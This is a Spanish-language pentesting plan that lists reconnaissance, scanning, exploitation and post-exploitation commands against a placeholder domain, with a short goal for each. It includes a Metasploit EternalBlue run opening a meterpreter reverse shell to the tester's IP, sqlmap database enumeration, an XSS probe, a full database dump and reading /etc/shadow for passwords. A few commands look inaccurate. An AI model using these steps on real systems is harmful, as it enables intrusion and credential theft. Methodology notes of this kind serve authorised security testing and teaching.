Tabla de Contenidos
Plan de pentesting
Plan exhaustivo de pentesting orientado a ser ejecutado en una máquina Linux en modo texto. Incluye una combinación de técnicas automatizadas y manuales para garantizar una evaluación de seguridad integral.
Fase de Reconocimiento
Recopilación de Información Pasiva
Whois Lookup
whois example.com
Objetivo: Obtener información de registro del dominio.
Consulta DNS
dig example.com dig example.com MX dig example.com NS dig example.com ANY
Objetivo: Obtener registros DNS asociados con el dominio.
Buscar Subdominios
sublist3r -d example.com
Objetivo: Identificar subdominios relacionados con el dominio objetivo.
Buscar Metadatos en Documentos Públicos
exiftool document.pdf
Objetivo: Extraer metadatos de archivos para obtener información sensible.
Recopilación de Información Activa
Escaneo de Puertos
nmap -sS -sV -p- example.com
Objetivo: Identificar puertos abiertos y servicios que se están ejecutando.
Enumeración de Servicios
nmap -sV -p [puertos] example.com
Objetivo: Determinar versiones de servicios para detectar posibles vulnerabilidades.
Fase de Análisis de Vulnerabilidades
Escaneo de Vulnerabilidades
Nmap con Scripts NSE
nmap --script vuln -p [puertos] example.com
Objetivo: Usar scripts NSE para identificar vulnerabilidades específicas.
Escaneo de Vulnerabilidades con OpenVAS
openvas-start openvas-check-setup openvas-scan-target example.com
Objetivo: Utilizar OpenVAS para escanear vulnerabilidades conocidas.
Análisis de Vulnerabilidades Web
Nikto
nikto -h example.com
Objetivo: Identificar configuraciones inseguras y vulnerabilidades en servidores web.
Wpscan (para sitios WordPress)
wpscan --url example.com
Objetivo: Identificar vulnerabilidades en sitios web que utilizan WordPress.
Gobuster
gobuster dir -u example.com -w /usr/share/wordlists/dirb/common.txt
Objetivo: Fuerza bruta de directorios y archivos comunes en el servidor web.
Fase de Explotación
Explotación de Servicios y Aplicaciones
Metasploit Framework
msfconsole search [vulnerability] use exploit/[exploit_path] set RHOST example.com set RPORT [puerto] run
Objetivo: Utilizar Metasploit para explotar vulnerabilidades conocidas.
Explotación Manual
- Ejemplo de SQL Injection
sqlmap -u "http://example.com/vulnerable_page.php?id=1" --dbs
Objetivo: Identificar y explotar inyecciones SQL.
- Ejemplo de XSS (Cross-Site Scripting)
curl "http://example.com/search.php?query=<script>alert('XSS')</script>"
Objetivo: Probar inyección de scripts maliciosos en campos de entrada.
Explotación de Redes
Explotación de SMB (EternalBlue)
nmap --script smb-vuln* -p 445 example.com msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOST example.com set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST [tu_IP] run
Objetivo: Explotar vulnerabilidades SMB conocidas (MS17-010).
Post-Explotación
Elevación de Privilegios
Búsqueda de SUID Binaries
find / -perm -u=s -type f 2>/dev/null
Objetivo: Encontrar binarios SUID para posible elevación de privilegios.
Enumeración de Servicios y Cron Jobs
ps aux crontab -l
Objetivo: Identificar posibles vectores para elevación de privilegios.
Extracción de Datos
Dump de Bases de Datos
mysqldump -u root -p --all-databases > all_databases.sql
Objetivo: Extraer bases de datos completas.
Extracción de Contraseñas en Texto Claro
grep -i "password" /etc/passwd /etc/shadow /var/www/html/config.php
Objetivo: Buscar contraseñas almacenadas en texto claro en archivos de configuración.
Referencias de Documentación
- Nmap NSE Documentation: Nmap Scripting Engine (NSE) Documentation
- Nikto Documentation: Nikto Documentation
- SQLMap Documentation: SQLMap Documentation
- Gobuster Documentation: Gobuster Documentation
- Metasploit Framework Documentation: Metasploit Unleashed